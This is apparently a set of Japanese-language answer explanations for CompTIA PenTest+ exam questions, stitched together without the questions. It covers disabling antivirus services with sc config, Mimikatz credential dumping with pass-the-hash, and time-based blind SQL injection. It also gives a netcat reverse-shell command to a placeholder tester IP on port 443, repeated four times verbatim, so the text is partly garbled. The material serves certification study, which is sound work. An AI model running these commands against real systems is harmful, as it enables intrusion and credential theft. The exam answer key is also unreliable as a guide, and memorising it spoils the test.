* コマンドの説明:
* sc config コマンドは、Windows のサービス起動設定を構成するために使用されます。start=disabled を使用すると、特定のサービスが永続的に無効化され、ウイルス対策サービスやその他の監視サービスなどの保護機能が実質的に無効になります。
* 他のオプションを選択しないのはなぜですか?
* B (sc query state= all): このコマンドは、すべてのサービスとその状態を一覧表示しますが、サービスを無効化したり変更したりすることはありません。
* C (pskill): このコマンドはプロセスを一時的に終了するために使用されますが、サービスを永続的に無効にするものではありません。
* D (net config): このコマンドは、サービスの管理ではなく、ネットワーク設定を構成するために使用されます。
CompTIA Pentest+ リファレンス:
* ドメイン 3.0 (攻撃とエクスプロイト)
* Windows サービス活用ガイドライン

テスターは、次の操作を許可するファイアウォール制限を回避しながら、侵害された Web サーバーから移動する必要があります。
* TCP 443 (HTTPS) および TCP 53 (DNS) のみの受信トラフィック
* 無制限の送信トラフィック
* TCP 443 を使用したリバースシェル (オプション D):
* このコマンドは、ファイアウォールによって許可されているポート 443 上のペンテスターのマシンへの送信接続を開始します。
* 例:bashCopyEdit/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'
例:bashCopyEdit/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'
例:bashCopyEdit/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'
例:bashCopyEdit/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'
* ペンテスターは TCP 443 をリッスンし、ターゲットからシェルを受信します。

スクリプトはターゲット IP アドレスでポート スキャンを実行し、一般的なポートのリストで開いているポートを検索します。
ポート スキャンは、ネットワークまたはシステムの開いているポートを調査し、潜在的な脆弱性やホスト上で実行されているサービスを明らかにする手法です。

テスターは、Mimikatz を使用して、ローカル セキュリティ機関 (LSA) メモリからキャッシュされた資格情報をダンプします。
* ハッシュパス（オプション C）:
* テスターは、パスワードを解読せずに認証するために、キャッシュされた資格情報を抽出します。
* Pass-the-Hash (PtH) は、他のシステムで NTLM ハッシュを再利用することで横方向の移動を可能にします。

ペネトレーションテスターが使用するペイロードは、条件が満たされた場合にデータベースの応答を15秒遅延させるブラインドSQLインジェクション攻撃の一種です。これは、一連の真偽の質問をすることでデータベースから情報を抽出するために使用できます。この種の攻撃を防ぐためのベストプラクティスは、パラメータ化されたクエリを使用することです。パラメータ化されたクエリは、ユーザー入力とSQL文を分離し、悪意のあるコードの挿入を防ぎます。パスワードの暗号化、出力のエンコード、HTMLのサニタイズも有効なセキュリティ対策ですが、SQLインジェクションの脆弱性に直接対処するものではありません。参考資料：
公式CompTIA PenTest+学習ガイド（試験PT0-002）、第5章：攻撃とエクスプロイト、セクション5.2：ネットワーク攻撃の実行、サブセクション：SQLインジェクション、p. 235-237 ブラインドSQLインジェクション | OWASP Foundation、説明と例のセクション、時間ベースのブラインドSQLインジェクション攻撃、概要、およびMicrosoft SQL Serverのセクション